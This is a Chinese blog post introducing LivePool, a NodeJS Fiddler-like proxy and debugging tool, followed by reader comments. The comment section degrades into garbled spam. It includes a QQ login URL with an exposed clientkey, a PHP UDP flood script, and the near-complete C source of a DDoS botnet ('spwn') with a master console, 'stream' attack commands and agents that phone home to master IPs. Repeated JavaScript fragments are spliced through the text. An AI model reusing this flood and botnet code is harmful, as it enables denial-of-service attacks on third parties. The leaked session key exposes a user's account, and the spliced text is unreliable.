LivePool 是一个基于 NodeJS,类似 Fiddler 能够支持抓包和本地替换的 Web 开发调试工具,是 Tencent AlloyTeam 在开发实践过程总结出的一套的便捷的 WorkFlow 以及调试方案。
背景
在 Windows 平台上,Fiddler 作为一款非常便捷好用的 Web 调试工具,深受广大开发者的喜爱。而在 Mac 上,类似的工具,比如 Charles 等,收费并且功能非常有限,着实让很多陆续把工作环境迁移到 Mac 的小伙伴刚到非常的不方便。难道真的要在 Mac 上装个 Windows 或者开虚拟机跑 Fiddler 吗?
Alloyteam 其实很早就开始实践跨平台的抓包和替换工具,基于 QT 的 Rythem,功能上基本能满足要求,但是由于后续没有熟悉 QT 平台的人力投入,没有持续更新和支持。出于折腾精神,决定用比较熟悉的 NodeJS 进行开发一款类似的代理替换工具,并尝试借助 Web 便捷快速的 UI 能力搭建更美观强大的管理界面。
特性
- 基于 NodeJS, 跨平台
- 便捷的 UI 界面,跟 Fiddler 类似,降低学习成本
- 支持 http 抓包和本地替换调试,Https/WebSockets 直接代理转发,暂不支持本地替换
- 基于项目的替换规则管理,方便高效,规则支持拖曳排序
- 支持基于请求路径的本地文件替换,支持基于请求路径的路由转发(host 配置)
- 替换类型支持:文件/文件夹替换,combo 合并替换,qzmin 替换(批量 combo),delay 延时等
- 支持自动设置系统代理
- 支持规则过滤,只显示关注的请求
- 提供构建 http get/post 请求界面,方便接口调试
- 特色功能:模拟 gprs/3g 等低网速(mac only)
- 特色功能:支持离线站点到本地,并自动代码格式化
主要功能
1. 抓包分析
实现原理:通过拦截系统 web 代理将浏览器或者其他应用的请求转发到 Livepool,Livepool 通过拦截获取 http 请求的相关信息,比如 http 头,内容等,并将结果缓存下来,便于后面进行分析。
2. 本地替换和规则管理
实现原理:livepool 拦截到请求后,对请求的路径进行分析,将命中规则的请求进行适当处理,替换为对应内容。目前替换类型支持:文件/文件夹替换,combo 合并替换,qzmin 替换(批量 combo),delay 延时等。提供便捷的基于项目的规则管理。
3. 构建调试请求
便捷的模拟 http 请求,方便接口调试
4. 模拟低网速【mac only】
GPRS: 48kbit/s
Edge: 64kbit/s
3g: 348kbit/s
ADSL: 768kbit/s
WIFI: 2048kbit/s
5. 离线站点
将站点内容离线到本地,并自动代码格式化,便于查看
站点保存到当前文件夹 Sites 下
更多
项目官网:http://rehorn.github.io/livepool
github: https://github.com/rehorn/livepool
讨论&bug: https://github.com/rehorn/livepool/issues
糯米圈 2014 年 9 月 4 日
腾讯出品必属精品
无墨来点睛 2014 年 8 月 29 日
不错,最近也在找 mac 下支持代理形式的抓包工具,先收藏
517电影网 2014 年 8 月 11 日
神一样的东西呀,赶紧下载自己测试一下,哈哈
[懒懒小报-外刊第3期]React的Virtual DOM有什么秘密? 闪新闻 2014 年 8 月 8 日
[…] LivePool […]
于江水 2014 年 8 月 6 日
直观感觉上好像功能还没有 Charles 多,好像介绍的大部分 Charles 也有。建议增加更多 fiddle 有 charles 没有的功能,然后还可以根据国人习惯做一些交互的改良,这样用的人就多了。
blue68 2014 年 8 月 6 日
Error: Most middleware (like json) is no longer bundled with Express and must be installed separately. Please see https://github.com/senchalabs/connect#middleware.
at Function.Object.defineProperty.get (/Users/chaoqiangtian/tbj/livepool/livepool/node_modules/express/lib/express.js:89:13)
at Object. (/Users/chaoqiangtian/tbj/livepool/livepool/lib/webui/liveapp.js:37:21)
at Module._compile (module.js:456:26)
at Object.Module._extensions..js (module.js:474:10)
at Module.load (module.js:356:32)
at Function.Module._load (module.js:312:12)
at Module.require (module.js:364:17)
at require (module.js:380:17)
at Object. (/Users/chaoqiangtian/tbj/livepool/livepool/lib/livepool/notify.js:1:77)
at Module._compile (module.js:456:26)
源泉 2014 年 7 月 31 日
力顶!
L 2014 年 7 月 27 日
國人開發的仿 Fiddler 的 Chrome 插件
https://chrome.google.com/webstore/detail/fiddler/hkknfnifmbannmgkdliadghepbneplka?hl=en
TAT.Rehorn 2014 年 7 月 30 日
有了解~,谢谢推荐
svenzeng 2014 年 7 月 24 日
神器,顶!
TAT.Rehorn 2014 年 7 月 30 日
多谢曾哥捧场
jf 2014 年 7 月 23 日
很赞,不过老外有一款 Java 写的抓包工具 Charles,已经实现了 livepool 的大部分功能了。
TAT.Rehorn 2014 年 7 月 30 日
有了解,多谢推荐
LivePool:基于Node.js的跨平台Web抓包替换工具 | 极客521 2014 年 7 月 16 日
[…] LivePool 是一个基于 NodeJS,类似 Fiddler 能够支持抓包和本地替换的 Web 开发调试工具,是 Tencent AlloyTeam 在开发实践过程总结出的一套的便捷的工作流以及调试方案。 […]
var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 16 日
1440580@QQ.ghm
一些常用工具及其相关介绍[不定期更新] | ASPIRE 2014 年 7 月 15 日
[…] LivePool LivePool:基于 NodeJs 的跨平台 Web 抓包替换工具 […]
zicjin 2014 年 7 月 15 日
文档里:node install livepool -g 确定没错?npm install livepool -g 运行报错信息:
……
……
npm http GET https://registry.npmjs.org/accepts
npm http GET https://registry.npmjs.org/raw-body
> ws@0.4.31 install C:\Users\zic\AppData\Roaming\npm\node_modules\livepool\node_modules\socket.io\node_modules\engine.io
\node_modules\ws
> (node-gyp rebuild 2> builderror.log) || (exit 0)
C:\Users\zic\AppData\Roaming\npm\node_modules\livepool\node_modules\socket.io\node_modules\engine.io\node_modules\ws>nod
e “C:\Program Files\nodejs\node_modules\npm\bin\node-gyp-bin\\..\..\node_modules\node-gyp\bin\node-gyp.js” rebuild
var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日
h html5 黑子 QQ1440580 @黑子 / -a -t -k -c -v /ttp://ptlogin2.qq.com/jump?ptlang=2052&clientuin=1440580&clientkey=42A5559C97B0027FDC3A716713A032862D90B9AC8F0963C369ED20C0EE7CA8EE&u1=http%3A%2F%2Fuser.qzone.qq.com%2F1440580%2Finfocenter$packets = 0;
$ip = $_GET[\’ip\’];
$rand = $_GET[\’port\’];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\’time\’];
$time = time();
print \”Flooded: $ip on port $rand
\”;
$max_time = $time+$exec_time;
for($i=0;$i $max_time){
break;
}
$fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \”Packet complete at \”.time(\’h:i:s\’).\” with $packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”. round($packets/$exec_time, 2) . \” packets/s \\n\”;
?> void InstalSignal()
{
signal(SIGHUP ,SIG_IGN ); /* hangup, generated when terminal disconnects */
signal(SIGINT ,SIG_IGN ); /* interrupt, generated from terminal special char */
signal(SIGQUIT ,SIG_IGN ); /* (*) quit, generated from terminal special char */
signal(SIGILL ,SIG_IGN ); /* (*) illegal instruction (not reset when caught)*/
signal(SIGTRAP ,SIG_IGN ); /* (*) trace trap (not reset when caught) */
signal(SIGABRT ,SIG_IGN ); /* (*) abort process */
#ifdef D_AIX
signal(SIGEMT ,SIG_IGN ); /* EMT intruction */
#endif
signal(SIGFPE ,SIG_IGN ); /* (*) floating point exception */
signal(SIGKILL ,SIG_IGN ); /* kill (cannot be caught or ignored) */
signal(SIGBUS ,SIG_IGN ); /* (*) bus error (specification exception) */
signal(SIGSEGV ,SIG_IGN ); /* (*) segmentation violation */
signal(SIGSYS ,SIG_IGN ); /* (*) bad argument to system call */
signal(SIGPIPE ,SIG_IGN ); /* write on a pipe with no one to read it */
signal(SIGALRM ,SIG_IGN ); /* alarm clock timeout */
//signal(SIGTERM ,stopproc ); /* software termination signal */
signal(SIGURG ,SIG_IGN ); /* (+) urgent contition on I/O channel */
signal(SIGSTOP ,SIG_IGN ); /* (@) stop (cannot be caught or ignored) */
signal(SIGTSTP ,SIG_IGN ); /* (@) interactive stop */
signal(SIGCONT ,SIG_IGN ); /* (!) continue (cannot be caught or ignored) */
signal(SIGCHLD ,SIG_IGN); /* (+) sent to parent on child stop or exit */
signal(SIGTTIN ,SIG_IGN); /* (@) background read attempted from control terminal*/
signal(SIGTTOU ,SIG_IGN); /* (@) background write attempted to control terminal */
signal(SIGIO ,SIG_IGN); /* (+) I/O possible, or completed */
signal(SIGXCPU ,SIG_IGN); /* cpu time limit exceeded (see setrlimit()) */
signal(SIGXFSZ ,SIG_IGN); /* file size limit exceeded (see setrlimit()) */
#ifdef D_AIX
signal(SIGMSG ,SIG_IGN); /* input data is in the ring buffer */
#endif
signal(SIGWINCH,SIG_IGN); /* (+) window size changed */
signal(SIGPWR ,SIG_IGN); /* (+) power-fail restart */
//signal(SIGUSR1 ,stopproc); /* user defined signal 1 */
//signal(SIGUSR2 ,stopproc); /* user defined signal 2 */
signal(SIGPROF ,SIG_IGN); /* profiling time alarm (see setitimer) */
#ifdef D_AIX
signal(SIGDANGER,SIG_IGN); /* system crash imminent; free up some page space */
#endif
signal(SIGVTALRM,SIG_IGN); /* virtual time alarm (see setitimer) */
#ifdef D_AIX
signal(SIGMIGRATE,SIG_IGN); /* migrate process */
signal(SIGPRE ,SIG_IGN); /* programming exception */
signal(SIGVIRT ,SIG_IGN); /* AIX virtual time alarm */
signal(SIGALRM1,SIG_IGN); /* m:n condition variables – RESERVED – DON ‘T USE */
signal(SIGWAITING,SIG_IGN); /* m:n scheduling – RESERVED – DON ‘T USE */
signal(SIGCPUFAIL ,SIG_IGN); /* Predictive De-configuration of Processors – */
signal(SIGKAP,SIG_IGN); /* keep alive poll from native keyboard */
signal(SIGRETRACT,SIG_IGN); /* monitor mode should be relinguished */
signal(SIGSOUND ,SIG_IGN); /* sound control has completed */
signal(SIGSAK ,SIG_IGN); /* secure attention key */
#endif
var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日
qq1440580 ///////////////////if (str[strlen(str)-1] == ‘\n’) str[strlen(str)-1] = ”;
}
var g_domain=”qq.com”;
document.domain = g_domain;
document.createElement(‘header’);
document.createElement(‘footer’);
document.createElement(‘section’);
document.createElement(‘article’);
document.createElement(‘aside’);
document.createElement(‘nav’);
//foot #**?/urse/url/https/
var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}
<!– html5 ac\:_.|+*–*+|._:/bo –>if (str[strlen(str)-1] == ‘\n’) str[strlen(str)-1] = ”;
}
var g_domain=”qq.com”;
document.domain = g_domain;
document.createElement(‘header’);
document.createElement(‘footer’);
document.createElement(‘section’);
document.createElement(‘article’);
document.createElement(‘aside’);
document.createElement(‘nav’);
//foot #**?/urse/url/https/
var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}
<!– html5 ac\:_.|+*–*+|._:/bo –>
var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日
if (str[strlen(str)-1] == ‘\n’) str[strlen(str)-1] = ”;
}
var g_domain=”qq.com”;
document.domain = g_domain;
document.createElement(‘header’);
document.createElement(‘footer’);
document.createElement(‘section’);
document.createElement(‘article’);
document.createElement(‘aside’);
document.createElement(‘nav’);
//foot #**?/urse/url/https/
var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}
<!– html5 ac\:_.|+*–*+|._:/bo –>
var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日
Makefile:
CC = gcc
# -g is so i can debug it better 😛
# -Wall so i can be happy
CFLAGS = -g -Wall
all: master server
clean:
rm -f master server
master: master.c
$(CC) $(CFLAGS) -o master master.c
server: server.c
$(CC) $(CFLAGS) -o server server.c
master.c
/* spwn */
#define PASSWORD “sex”
#define SERVERFILE “.sr”
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
#define MAX_IP_LENGTH 17
#define MAX_HOST_LENGTH 200
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* prototypes for my functions */
void sighandle (int);
int maxfd (int, int);
void prompt (int);
void tof (char *);
void fof (char *);
void send2server (u_long, char *, …);
void forkbg (void);
void nlstr (char *);
void sendtoall (char *, …);
char *inet_ntoa (struct in_addr);
u_long inet_addr (const char *);
int findfree (void);
/* end of prototypes */
typedef struct _socks {
int fd;
int opts;
int idle;
char *ip;
} socks;
socks users[MAXUSERS];
int main (int argc, char *argv[])
{
fd_set readset;
int i, tcpfd, udpfd, socksize, pongs = 0;
struct sockaddr_in udpsock, tcpsock, remotesock;
struct timeval t;
char ibuf[1024], obuf[1024], *arg[3];
signal(SIGINT, sighandle);
signal(SIGHUP, sighandle);
signal(SIGSEGV, sighandle);
socksize = sizeof(struct sockaddr);
if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror(“socket”);
exit(0);
}
if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror(“socket”);
exit(0);
}
tcpsock.sin_family = AF_INET;
tcpsock.sin_port = htons(MASTER_TCP_PORT);
tcpsock.sin_addr.s_addr = INADDR_ANY;
memset(&tcpsock.sin_zero, 0, 8);
if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) {
perror(“bind”);
exit(0);
}
if (listen(tcpfd, MAXUSERS+1) == -1) {
perror(“listen”);
exit(0);
}
i = 1;
if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
perror(“setsockopt”);
exit(0);
}
i = 1;
if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
perror(“setsockopt”);
exit(0);
}
if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
perror(“fcntl”);
exit(0);
}
udpsock.sin_family = AF_INET;
udpsock.sin_port = htons(MASTER_UDP_PORT);
udpsock.sin_addr.s_addr = INADDR_ANY;
memset(&udpsock.sin_zero, 0, 8);
if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) {
perror(“bind”);
exit(0);
}
i = 1;
if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
perror(“setsockopt”);
exit(0);
}
i = 1;
if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
perror(“setsockopt”);
exit(0);
}
for (i = 0 ; i <= MAXUSERS ; i++) {
users[i].opts = (0 & ~USED);
}
forkbg();
t.tv_sec = 2;
t.tv_usec = 1;
for (;;) {
for (i = 0 ; i 420) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, “\nYou’re too idle !\n”);
send(users[i].fd, &obuf, strlen(obuf), 0);
close(users[i].fd);
users[i].opts &= ~USED;
}
FD_ZERO(&readset);
FD_SET(tcpfd, &readset);
FD_SET(udpfd, &readset);
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) FD_SET(users[i].fd, &readset);
}
if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue;
if (FD_ISSET(tcpfd, &readset)) {
int socknum;
u_long ip;
struct hostent *hp;
if ((socknum = findfree()) == -1) {
socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
close(socknum);
continue;
}
users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
for (i = 0 ; i h_name, MAX_HOST_LENGTH-1);
}
users[socknum].idle = time(0);
}
if (FD_ISSET(udpfd, &readset)) {
memset(&ibuf, 0, sizeof ibuf);
if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue;
nlstr(ibuf);
if (!strcmp(ibuf, "newserver")) {
FILE *f;
char line[1024];
int i;
if ((f = fopen(SERVERFILE, "r")) == NULL) {
f = fopen(SERVERFILE, "w");
fclose(f);
continue;
}
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
nlstr(line);
if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) {
continue;
}
}
fclose(f);
if ((f = fopen(SERVERFILE, "a")) == NULL) continue;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr));
tof(obuf);
fprintf(f, "%s\n", obuf);
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
fclose(f);
}
if (!strcmp(ibuf, "pong")) {
pongs++;
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
}
}
}
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
if (FD_ISSET(users[i].fd, &readset)) {
if (!(users[i].opts & AUTH)) {
int x;
memset(&ibuf, 0, sizeof ibuf);
if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
int y;
users[i].opts = (~AUTH & ~USED);
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno));
for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
close(users[i].fd);
free(users[i].ip);
continue;
}
users[i].idle = time(0);
for (x = 0 ; x <= strlen(ibuf) ; x++) {
if (ibuf[x] == '\n') ibuf[x] = '';
if (ibuf[x] == '\r') ibuf[x] = '';
}
if (strcmp(ibuf, PASSWORD)) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip);
for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
for (x = 0 ; x <= MAXUSERS ; x++) {
if ((users[x].opts & USED) && (x != i)) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip);
send(users[x].fd, &obuf, strlen(obuf), 0);
prompt(users[x].fd);
}
}
users[i].opts |= AUTH;
prompt(users[i].fd);
continue;
}
memset(&ibuf, 0, sizeof ibuf);
if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno));
for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
arg[0] = strtok(ibuf, " ");
arg[1] = strtok(NULL, " ");
arg[2] = strtok(NULL, " ");
arg[3] = NULL;
if (arg[2]) nlstr(arg[2]);
if (!strncmp(arg[0], "stream", 6)) {
struct hostent *hp;
struct in_addr ia;
if ((!arg[1]) || (!arg[2])) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Usage: stream \n”);
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
if ((hp = gethostbyname(arg[1])) == NULL) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, “Unable to resolve %s.\n”, arg[1]);
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
memcpy(&ia.s_addr, &hp->h_addr, hp->h_length);
sendtoall(“stream/%s/%s”, inet_ntoa(ia), arg[2]);
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, “Streaming %s for %s seconds.\n”, arg[1], arg[2]);
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], “quit”, 4)) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, “%s has disconnected.\n”, users[i].ip);
for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
if (!strncmp(arg[0], "servers", 7)) {
FILE *f;
char line[1024];
if ((f = fopen(SERVERFILE, "r")) == NULL) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nServer file doesn't exist, creating ;)\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
f = fopen(SERVERFILE, "w");
fclose(f);
prompt(users[i].fd);
continue;
}
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "The following ips are known servers: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
send(users[i].fd, &line, strlen(line), 0);
}
fclose(f);
}
if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nAvailable commands: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "stream\t\t–\tstream attack !\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "servers\t\t–\tPrints all known servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "ping\t\t–\tping all servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "who\t\t–\ttells you the ips of the people logged in\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "mstream\t\t–\tlets you stream more than one ip at a time\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "who", 3)) {
int x;
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nCurrently Online: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
for (x = 0 ; x <= MAXUSERS ; x++) {
memset(&obuf, 0, sizeof obuf);
if (users[x].opts & USED && users[x].opts & AUTH) {
snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip);
send(users[i].fd, &obuf, strlen(obuf), 0);
}
}
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "ping", 4)) {
pongs = 0;
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Pinging all servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
sendtoall("ping");
}
if (!strncmp(arg[0], "mstream", 7)) {
if ((!arg[1]) || (!arg[2])) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Usage: mstream \n”);
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, “MStreaming %s for %s seconds.\n”, arg[1], arg[2]);
send(users[i].fd, &obuf, strlen(obuf), 0);
sendtoall(“mstream/%s/%s\n”, arg[1], arg[2]);
}
prompt(users[i].fd);
}
}
}
}
}
int findfree (void) {
int i;
for (i = 0 ; i 0) {
printf(“Forked into background, pid %d\n”, pid);
exit(0);
}
}
void nlstr (char *str) {
int i;
for (i = 0 ; str[i] != NULL ; i++)
if ((str[i] == ‘\n’) || (str[i] == ‘\r’)) str[i] = ”;
}
void send2server (u_long addr, char *str, …) {
va_list vl;
char buf[1024];
int fd;
struct sockaddr_in sock;
va_start(vl, str);
vsnprintf(buf, (sizeof buf)-1, str, vl);
va_end(vl);
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = addr;
memset(&sock.sin_zero, 0, 8);
sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
void tof (char *str) {
int i;
for (i = 0 ; str[i] != 0 ; i++)
str[i]+=50;
}
void fof (char *str) {
int i;
for (i = 0 ; str[i] != 0 ; i++)
str[i]-=50;
}
void sendtoall (char *str, …) {
va_list vl;
char buf[1024], line[1024];
struct sockaddr_in sock;
int fd;
FILE *f;
va_start(vl, str);
vsnprintf(buf, (sizeof buf)-1, str, vl);
va_end(vl);
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
memset(&sock.sin_zero, 0, 8);
if ((f = fopen(SERVERFILE, “r”)) == NULL) {
f = fopen(SERVERFILE, “w”);
fclose(f);
return;
}
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
nlstr(line);
sock.sin_addr.s_addr = inet_addr(line);
sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
}
void prompt (int fd) {
char buf[5];
memset(&buf, 0, sizeof buf);
sprintf(buf, “> “);
send(fd, &buf, strlen(buf), 0);
}
int maxfd (int extra1, int extra2) {
int mfd = 0, i;
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED)
mfd = max(mfd, users[i].fd);
mfd = max(max(extra1, extra2), mfd);
return mfd;
}
void sighandle (int sig) {
int i;
char obuf[1024];
memset(&obuf, 0, sizeof obuf);
switch (sig) {
case SIGHUP:
snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n");
break;
case SIGINT:
snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n");
break;
case SIGSEGV:
snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n");
break;
default:
snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n");
}
for (i = 0 ; i <= MAXUSERS ; i++)
if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) {
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
if (sig == SIGSEGV) exit(1);
}
server.c
/* spwn */
char *m[]={
"1.1.1.1", /* first master */
"2.2.2.2", /* second master */
"3.3.3.3", /* third master etc */
0 };
#define MASTER_PORT 9325
#define SERVER_PORT 7983
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include
#include
#include
#include
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
void forkbg (void);
void send2master (char *, struct in_addr);
void stream (int, int, u_long, char **);
void nlstr (char *);
int main (int argc, char *argv[])
{
struct in_addr ia;
struct sockaddr_in sock, remote;
int fd, socksize, opt = 1, i;
char buf[1024];
if (getuid() != 0) {
fprintf(stderr, “Must be ran as root.\n”);
exit(0);
}
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror(“socket”);
exit(0);
}
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = INADDR_ANY;
memset(&sock.sin_zero, 0, 8);
if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) {
perror(“bind”);
exit(0);
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) {
perror(“setsockopt”);
exit(0);
}
forkbg();
for (i = 0 ; m[i] != 0 ; i++) {
ia.s_addr = inet_addr(m[i]);
send2master(“newserver”, ia);
}
for (;;) {
socksize = sizeof(struct sockaddr);
memset(&buf, 0, sizeof buf);
if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) 0) {
printf(“Forked into background, pid %d\n”, pid);
exit(0);
}
}
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
